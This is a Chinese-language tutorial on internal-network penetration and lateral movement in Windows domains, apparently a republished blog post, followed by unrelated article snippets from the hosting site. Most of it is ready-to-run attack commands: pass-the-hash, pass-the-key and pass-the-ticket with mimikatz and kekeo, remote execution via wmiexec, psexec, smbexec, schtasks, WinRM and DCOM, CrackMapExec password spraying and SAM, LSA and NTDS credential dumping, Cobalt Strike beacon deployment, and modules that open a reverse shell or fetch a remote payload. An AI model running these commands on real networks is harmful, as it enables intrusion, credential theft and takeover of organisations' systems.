内网渗透基础

内网

内网指的是内部局域网,常说的LAN(local area network)。常见家庭wifi网络和小型的企业网络,通常内部计算机直接访问路由器设备,路由器设备接入移动电信的光纤实现上网。

内部局域网可以通过交换机/防火墙组成多个网络(局域),多个局域之间进行访问控制。新概念(安全域)。

如专门存放服务器的统称为DMZ(非军事化区域),运维区,内网办公区等,常说的内网渗透就是在局域网内部渗透,内网渗透比较有难度的是域渗透

KB2871997&KB2928120

微软在2014年发布了KB2871997KB2928120两个补丁,用来阻止域内主机本地用户的网络登录,这样就无法以本地管理员的权限执行wmi、psexec、schtasks、at和文件访问共享,本地用户的PTH方式已经死掉,然而默认的Administrator(SID 500)这个账户仍可以进行PTH,并且在禁用NTLM的情况下,psexec无法进行远程连接,但是使用mimikatz可以攻击成功。

UNC路径

UNC路径代表通用命名约定路径(Universal Naming Convention),它是一种网络路径格式,用于标识在网络上共享的资源位置。UNC路径允许您在本地网络中访问远程共享。

UNC路径由两个反斜杠\,后跟远程计算机的名称或IP地址、可选的共享名称、可选的路径和文件名组成。例如:

\\ComputerName\ShareName\Path\FileName

其中ComputerName是远程计算机的名称或IP地址,ShareName是共享名称,在访问共享时需要使用该名称,Path是共享文件夹中的路径,FileName是所需文件的名称。

WMI

WMI(Windows management instrumentation)可以描述为管理Windows系统的方法和功能,我们可以把它当作API来与Win系统进行相互交流,WMI在渗透测试中的价值在于它不需要下载和安装,WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。

135端口

RPC:远程过程调用服务,WMIC(winsows management instrumentation)用到这个端口。

wmic具体用法如下:

# 打开一个计算器``wmic /node:ip /user:用户名 /password:密码 PROCESS call create "calc.exe"` `   ``#无回显``wmic /node:192.168.1.56 /user:administrator /password:aab+1s PROCESS call create "calc.exe"``wmic /node:192.168.1.56 /user:administrator /password:aab+1s process call create "cmd.exe /c ipconfig >C:\1.txt"

连接报错如下信息:

ip错了报如下信息:

密码填错报如下信息:

用另一台计算机尝试连接,正常访问,命令执行成功,wmic执行后无回显,需写入到文本文件中。

WMIEXEC

获取交互式shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.56 administrator aab+1s

执行单条命令

cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.56 administrator aab+1s "cmdkey /list"

如上是提供了密码,如无密码,可以利用wce的hash注入,然后执行wmiexec就可以了。

wce –s 账号:主机名或域的名字:LM:NTLM``   ``cscript //nologo wmiexec.vbs /shell 192.168.0.1

如果抓取的LM hash是AAD3开头的,或者是No Password之类的,计用32个0代替LM hash

wmiexec.exe

wmiexec.exe ./administrator:aab+1s@192.168.1.56 "whoami"

hash传递

wmiexec.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/Administrator@192.168.10.173 "ipconfig"

https://github.com/rootclay/WMIHACKER/blob/master/README_zh.md

137,138,139端口

137、138为UDP端口,主要用于内网传输文件,NetBios/SMB服务的获取主要是通过139端口。

445端口

共享文件夹、共享打印机

ipc$

IPC$是共享“命名管道”的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问,从NT/2000开始使用。

IPC$在同一时间内,两个IP之间只允许建立一个连接。

NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或管理员目录(admin$)共享。

net use \\192.168.1.56\c$ "password" /user:"domain\username"``net use \\192.168.1.56\c$ "aab+1s" /user:administrator

另一台主机net use远程连接

扩展语法

net use \\192.168.1.56\c$``   ``# 删除ipc$连接``net use \\192.168.1.56\ipc$ /del``   ``# 将目标磁盘映射到本地``net use z: \\192.168.1.56\c$``   ``# 删除映射``net use z: /del``   ``# 关闭共享``net use ipc$ /del

ipc$空连接

横向渗透SMB(通过445端口)

利用SMB服务,需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。

psexec

net use \\192.168.1.56\c$ "aab+1s" /user:administrator``   ``PsExec.exe \\192.168.1.56 whoami``   ``.\PsExec.exe -u administrator -p 123456 \\dc01 cmd``   ``# 交互式shell(相同凭证可直接登录)``psexec -accepteula \\ip -s cmd.exe

执行原理

1.通过ipc$连接,释放psexecsvc.exe到目标 2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。 3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。 4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般不推荐使用psexec,推荐wmiexec

C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

cs - plugins

选中需横向的主机,jump-psexec64

选择一个认证,listen如果可出网,选择1,内网横向则用smb beacon2。

直接使用命令行。

jump [module] [target] [listener]``jump psexec64 192.168.10.173 local

通过psexec横向到目标机器,凭证用的是已知凭证去碰撞

此时整体拓扑如下,是父子关系,这是因为用的是http beacon直接连接teamserver,如果用smb beacon就是link关系。

换一下smb beacon

主机ip后面带有四个圆圈。

smb的箭头是黄色

https://www.cnblogs.com/sup3rman/p/12381874.html

SMBEXEC

明文传递

smbexec.exe administrator:aab+1s@192.168.10.173

hash传递

hash传递:``smbexec -hashes :$HASH$ admin@192.168.10.173``smbeexec -hashes :$HASH$ domain/admin@192.168.10.173

dump hash

atexec

  • 批量
`FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文 连接` `   ``FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文 回显版` `   ``FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP 回显版` `   ``FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测 HASH 对应 IP 回显版`  

PTH

域/工作组环境,内存中存在和当前机器相同的密码,在身份验证过程中,基本过程是从用户那里收集密码,然后对其进行加密,然后将正确密码的加密哈希用于将来的身份验证。

初次认证后,Windows 将哈希值保存在内存中,这样用户就不必一次又一次地输入密码。

在凭证转储期间,我们看到我们已经提取了大量的哈希值。现在作为攻击者,我们不知道密码。因此,在身份验证期间,我们提供哈希而不是密码。

Windows比较哈希值并热烈欢迎攻击者。简而言之,这就是 Pass-the-Hash 攻击。

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

mimikatz - PTH

privilege::debug` `sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

弹出窗口后,连接共享端口,传输文件

# privilege::debug``# sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

拷贝文件

参考:内网渗透–Hash传递攻击

PTK

需要存在补丁kb2871997

`使用minikatz获取aes256_hmac:``sekurlsa::ekeys``传递连接:sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b`  

PTT

`实现步骤:`  `1、生成票据 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c”`  `2、导入票据 kerberos::ptt [TGT_haha@HSYY.COM_krbtgt](mailto:TGT_haha@HSYY.COM_krbtgt)~hsyy.com@GOD.ORG.kirbi`  `3、查看凭证 klist`  `4、利用 net use 载入 dir \192.168.213.163\c$`  

smbclient

认证登录

  • 明文
smbclient -L //192.168.10.173 -U Administrator
  • hash
smbclient.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/Administrator@192.168.10.173

空会话枚举

smbclient -N -U "" -L \\192.168.1.214

rpcclient

`# rpcclient -U "" -N 10.10.10.161` `rpcclient $>enumdomusers``   ``# rpcclient -U corp.pentest.lab/administrator 10.10.10.161` 

cme

https://mpgn.gitbook.io/crackmapexec/getting-started/installation/installation-on-windows

执行命令

crackmapexec smb 192.168.10.173 -u administrator -H 04cea78fa35a5be51f4aee6375651e8a -x ipconfig

powershell

#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'

bypass ASMI

#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'  --amsi-bypass /path/payload

cme网络扫描

crackmapexec smb 10.0.0.0/24

`crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --shares``crackmapexec smb 192.168.10.83 -u airs-win7 -p aab+1s --shares``crackmapexec smb 192.168.10.83 -u airs-win7 -H 04cea78fa35a5be51f4aee6375651e8a --shares` 

枚举空会话

cme smb 10.10.10.161 -u '' -p ''``cme smb 10.10.10.161 --pass-pol``cme smb 10.10.10.161 --users``cme smb 10.10.10.161 --groups``   ``cme smb 10.10.10.178 -u 'a' -p '' -shares``cme smb 10.10.10.178 -u -p -shares``   ``# 以递归方式遍历所有共享s``crackmapexec smb  -u  -p  -M spider_plus

凭证获取

crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --sam`  `crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --lsa``crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds``crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds vss

msf反弹shell

枚举远程目标上的活动会话

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions``   ``#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares

密码喷洒

使用空格指定多个用户名/密码

#~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18``#~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3

通过文本指定字典

#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18``#~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt

找到密码后继续爆破

#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success``   ``# 一对一爆破``#~ cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes

认证

User/Hash

获取凭证如下:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'``#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'``#~ cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'``#~ cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
  • 本地认证
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth``#~ cme smb 192.168.1.0/24 -u '' -p '' --local-auth``#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth``#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth``#~ cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth``#~ cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth

爆破结果后如下:

	SMB         192.168.1.101    445    HOSTNAME          [+] HOSTNAME\Username:Password (Pwn3d!)  

winRM

#~ cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
# use the latest release, CME is now a binary packaged will all its dependencies``root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip``   ``# execute cme (smb, winrm, mssql, ...)``root@payload$ cme smb -L``root@payload$ cme smb -M name_module -o VAR=DATA``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares``root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443``root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"``root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'``root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz``root@payload$ cme mimikatz --server http --server-port 80

at、schtasks、

  • at

windows版本<2012,高版本中使用schtasks命令

at [\computername] [[id] [/delete] | /delete [/yes]]``at [\computername] <time> [/interactive] [/every:date[,...] | /next:date[,...]] <command>

生成smb beacon

上传smb beacon文件

添加任务计划

shell at \\192.168.10.173 10:51 c:\local-smb.exe

已运行,无法反弹,smb shell的问题。

换成web beacon,成功反弹。

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/at

  • schtasks

windows>=2012

schtasks create

创建任务对应执行文件

schtasks /create /sc <scheduletype> /tn <taskname> /tr <taskrun> [/s <computer> [/u [<domain>\]<user> [/p <password>]]] [/ru {[<domain>\]<user> | system}] [/rp <password>] [/mo <modifier>] [/d <day>[,<day>...] | *] [/m <month>[,<month>...]] [/i <idletime>] [/st <starttime>] [/ri <interval>] [{/et <endtime> | /du <duration>} [/k]] [/sd <startdate>] [/ed <enddate>] [/it] [/z] [/f]
schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F

schtasks run

执行文件任务

schtasks /run /s 192.168.213.163 /tn adduser /i

schtasks delete

删除执行文件任务

schtasks /delect /s 192.168.213.163 /tn adduser /f

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create


sharpwmi

.\sharpwmi.exe login 192.168.10.1/24 administrator aab+1s cmd whoami

cs报错

[-] Invoke_3 on EntryPoint failed.

nbtscan

通过IP扫描网络获取bios名称(计算机名)

bash$ sudo nbtscan -v -s : 192.168.1.0/24
  • cs plugin

winRM

WinRM(windows远程管理)是WS管理协议的Microsoft实现,一种基于标准的SOAP协议,允许来自不同供应商的硬件和操作系统相互操作,能够对本地或远程的服务器进行管理,获得一个类似Telnet的交互式命令行shell,以便降低系统管理员复杂的操作。

端口: HTTP(5985) HTTPS SOAP(5986)

前提:凭证及权限

CS中有WinRM模块。

winrm:x86,通过WinRM来运行一个PowerShell脚本 winrm:x64,通过WinRM来运行一个PowerShell脚本

进入winrm64后,内容如下:

前提需要有认证,才可以横向进入,此处的认证获取可以通过内部撞库、历史RDP凭证等方式获取,内部撞库是拿已知的密码去尝试是否有复用密码,历史RDP凭证是如果管理员再内网通过3389登录后且记录了密码,可以通过获取历史RDP登录记录获取凭证。

如上图所示,已经拥有192.168.1.214的密码凭证,但不清楚192.168.1.55的凭证,此时可以尝试使用192.168.1.214的凭证。

监听器和会话按需选择,会话是当前的beacon。

尝试运行,报错了。

jump winrm64 192.168.1.55 test

查看服务器端口情况,未开启5985端口。

可通过winrm命令开启5985端口,windows server 2008默认winrm服务是启动的,但端口未开放,需要通过winrm quickconfig -q 或者 winrm qc开启端口。

  • 开启winRM服务

重新查看端口开放情况,5985端口已打开。

  • 开启防火墙或关闭防火墙命令
C:\Windows\system32>netsh advfirewall firewall set rule group="Windows 远程管理" new enable=yes
  • 使用powershell连接服务器

需提前开启信任主机

PS C:\Users\Administrator> Set-Item wsman:\localhost\Client\TrustedHosts -value 192.168.1.* -Force``# 这个命令需要再客户端执行,而不是再服务端执行``   ``或者用下面的命令``winrm set winrm/config/client @{TrustedHosts="*"}``   ``PS C:\Users\Administrator> Enter-PSSession 192.168.1.55 -Credential administrator

输入凭证,连接成功。

或者

New-PSSession -ComputerName 192.168.1.55 -Credential (Get-Credential)``Enter-PSSession 1

通过CS操作

beacon> jump winrm64 192.168.1.55 test

成功返回shell

修复建议:

禁用WinRM

winrm delete winrm/config/listener?IPAdress=*+Transport=HTTP
  • ⚠️ windows8、windows10、windows server 2012及以上系统,WinRM服务默认开启。
evil-winrm

GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting

WinRS

WinRS(Windows Remote Shell)是一种远程管理工具,用于在Windows远程服务器上运行命令行命令。WinRS使用WinRM(Windows Remote Management)协议向远程计算机发送命令行请求。 WinRS在Windows Server 2008及更高版本的操作系统中预安装,并且可以在Windows 7及更高版本的操作系统中启用。要使用WinRS,您必须在远程服务器上启用WinRM,并且在本地计算机上运行命令时必须使用管理员权限。

winrs -r:192.168.1.55 "cmd /c ipconfig"

# 端口复用下``winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s whoami``winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s cmd

DCOM

DCOM代表分布式组件对象模型(Distributed Component Object Model),它是一种Microsoft的分布式系统服务。它允许计算机上的应用程序通过网络连接和通信。DCOM使开发人员能够从远程计算机上执行代码,并使应用程序之间的通信更为容易和灵活。

PS C:\Users\Administrator> Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

PS C:\Users\Administrator> $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.1.55"))``   ``PS C:\Users\Administrator> $a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")``   ``PS C:\Users\Administrator> Get-Content \\192.168.1.55\c$\fromdcom.txt``WIN-BVVD8VFVMPR

SCShell

GitHub - Mr-Un1k0d3r/SCShell: Fileless lateral movement tool that relies on ChangeServiceConfigA to run command

No445

GitHub - JDArmy/NO445-lateral-movement: command execute without 445 port

数据库命令执行

GitHub - 0x727/SqlKnife_0x727: 适合在命令行中使用的轻巧的SQL Server数据库安全检测工具

参考

https://www.redteam101.tech/offensive-security/lateral-movement/shi-yong-scshell-jin-hang-heng-xiang-yi-dong

https://github.com/BlWasp/CME_cheatSheet

https://mpgn.gitbook.io/crackmapexec/

https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/

https://www.hackingarticles.in/lateral-movement-over-pass-the-hash/

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/

https://www.cnblogs.com/gamewyd/p/6805595.html

https://www.cnblogs.com/zhengna/p/15309006.html

http://k8gege.org/Ladon/WinrmScan.html

https://cloud.tencent.com/developer/article/1937116

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/239240.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

玩转 Scrapy 框架 (一):Scrapy 框架介绍及使用入门

目录 一、Scrapy 框架介绍二、Scrapy 入门 一、Scrapy 框架介绍 简介&#xff1a; Scrapy 是一个基于 Python 开发的爬虫框架&#xff0c;可以说它是当前 Python 爬虫生态中最流行的爬虫框架&#xff0c;该框架提供了非常多爬虫的相关组件&#xff0c;架构清晰&#xff0c;可扩…

Android开发——添加图片

1、首先选择一张需要的图片&#xff0c;通过左侧的Resource Manage选择“”并选择Import Drawables 选择一张图片 并调整以下两个内容 这两个内容的作用借用谷歌官方的Android开发教程的内容&#xff1a; *Android 设备具有不同的屏幕尺寸&#xff08;手机、平板电脑和电视等…

【Java JMM】编译和优化

1 前端编译 在 Java 技术下, “编译期” 是一个比较含糊的表述, 因为它可能指的是 前端编译器 (“编译器的前端” 更准确一些) 把 *.java 文件转变成 *.class 文件的过程Java 虚拟机的即时编译器 (常称 JIT 编译器, Just In Time Compiler) 运行期把字节码转变成本地机器码的过…

【华为鸿蒙系统学习】- HarmonyOS4.0之App项目开发|自学篇

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 &#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 目录 创建鸿蒙第一个App项目 项目创建 工程目录区 预览区 运行Hello World 基本工程目录 ws:工…

ROS-小海龟案例---ROS命令

ROS-小海龟案例—ROS命令 rosnoderos&#xff1a;节点管理命令&#xff0c;通过此命令可以查看、操作以及监测已经运行的ros节点&#xff1a; rosnode 命令 作用 rosnode list 列出当前运行的node信息 rosnode i…

Jmeter参数化 —— 循环断言多方法

1、参数化接口测试数据 注意&#xff1a;csv文档参数化&#xff0c;里面有多少条数据&#xff0c;就要在线程组里循环多少次&#xff0c;不然就只执行一次 2、添加配置元件-计数器 关于计数器&#xff1a; ①Starting Value&#xff1a;给定计数器的初始值; ②递增&#xff1a…

Java开发框架和中间件面试题(1)

1.什么是Spring框架&#xff1f; Spring是一种轻量级框架&#xff0c;旨在提高开发人员的开发效率以及系统的可维护性。 我们一般说的Spring框架就是Spring Framework,它是很多模块的集合&#xff0c;使用这些模块可以很方便的协助我们进行开发。这些模块是核心容器、数据访…

安卓手机如何打开ics文件?ics格式文件用什么软件打开?

什么是ics格式文件&#xff1f;Ics格式文件是什么呢&#xff1f;其实ics格式文件是一种用于保存和交换日历信息的标准格式&#xff0c;它通常可以保存事件的名称、时间等信息&#xff0c;有不少日历、待办软件在导出数据的时候&#xff0c;都是以ics文件导出的。 有不少网友目…

求职方略-倒金字塔型自我介绍

第一步,开头第一句话提纲挈领,点出你的主要“卖点” 自我介绍的第一句话很重要,要有足够的吸引力,有足够的信息量,还要有足够的说服力,能产生先声夺人的效果。 一般的自我介绍喜欢按照时间线索依次介绍自己的经历,例如:“我大学毕业后就进入一家大公司的研发中心,工…

java.lang.IllegalStateException: Duplicate key

序言 最近监控扫描出我们项目的某些异常信息&#xff0c;报错java.lang.IllegalStateException: Duplicate key xxx&#xff0c;看到异常来自stream流&#xff0c;然后定位看了一下是某位同事的代码使用stream流把List转Map集合出现重复的key异常信息。List集合A对象来源于某个…

C# WPF上位机开发(QT vs WPF)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 最近经常收到朋友们的私信&#xff0c;他们对C# WPF开发很感兴趣&#xff0c;但是呢&#xff0c;正当准备学习的时候&#xff0c;又有人告诉他们应…

Linux编程环境和软件设施安装

目录 一、Linux编程环境安装 1.yum安装 2. vim安装&#xff08;文本编辑工具&#xff09; 3. lrzsz安装&#xff08;文件上传下载工具&#xff09; &#xff08;1) 搜索lrzsz安装包 &#xff08;2) 在线安装lrzsz &#xff08;3) 测试 二、Linux软件安装 1. 软件安装方…

Ubuntu 常用命令之 history 命令用法介绍

&#x1f4d1;Linux/Ubuntu 常用命令归类整理 history命令在Ubuntu系统中用于显示用户执行过的命令列表。这个命令在bash shell中非常有用&#xff0c;特别是当你需要记住你之前执行过的命令时。 history命令的参数如下 -c&#xff1a;清除历史记录。-d offset&#xff1a;删…

Python如何生成随机图形验证码

python生成随机图形验证码 使用python生成随机图片验证码,需要使用pillow模块 1.安装pillow模块 pip install pillow 2.pillow模块的基本使用 1.创建图片 from PIL import Image #定义使用Image类实例化一个长为400px,宽为400px,基于RGB的(255,255,255)颜色的图片 img1Ima…

win11下配置visual studio 2022+PCL1.13.1

第一部分&#xff1a;visual studio2022 安装 vs官网网址如下&#xff1a;https://visualstudio.microsoft.com/zh-hans/vs/ 第一步&#xff1a;我们打开官网链接&#xff0c;按如下操作点击下载免费版本的exe文件 第二步&#xff1a;打开下载目录下的安装文件进行安装&#…

SQL 多字段条件查询

SQL 多字段条件查询 一个数据库表&#xff0c;几十个字段&#xff0c;查找任意字段里包含北京的记录&#xff0c;在 mysql 里这句 sql 应该是这样&#xff1a; SELECT * FROM table WHERE concat(field1,field2,field3……fieldn) like ‘% 北京 %’ 反正是少不了将几十个字…

【论文笔记】3D Gaussian Splatting for Real-Time Radiance Field Rendering

原文链接&#xff1a;https://arxiv.org/abs/2308.04079 1. 引言 网孔和点是最常见的3D场景表达&#xff0c;因其是显式的且适合基于GPU/CUDA的快速栅格化。神经辐射场&#xff08;NeRF&#xff09;则建立连续的场景表达便于优化&#xff0c;但渲染时的随机采样耗时且引入噪声…

Win11安装ise14.7~不需要虚拟机了~

之前一直无法在win11上安装ise14.7&#xff0c;网上搜索也无果&#xff0c;所有一直vmware虚拟机使用。直到最近看了水木上jesce的回复&#xff0c;试了下果然可以直接安装使用的。 步骤如下即可&#xff1a; 安装时切勿勾选最后一项&#xff0c;Enable WebTalk to send softwa…

Python (十五)pandas(三)

程序员的公众号&#xff1a;源1024&#xff0c;获取更多资料&#xff0c;无加密无套路&#xff01; 最近整理了一波电子书籍资料&#xff0c;包含《Effective Java中文版 第2版》《深入JAVA虚拟机》&#xff0c;《重构改善既有代码设计》&#xff0c;《MySQL高性能-第3版》&…

【vtkWidgetRepresentation】第十六期 vtkContourRepresentation(三)

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ:870202403 前言 本文分享vtkContourLineInterpolator接口的源码剖析和实例应用,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步! 你的点赞就是我的动力(^U^)ノ~YO 目录 前言 …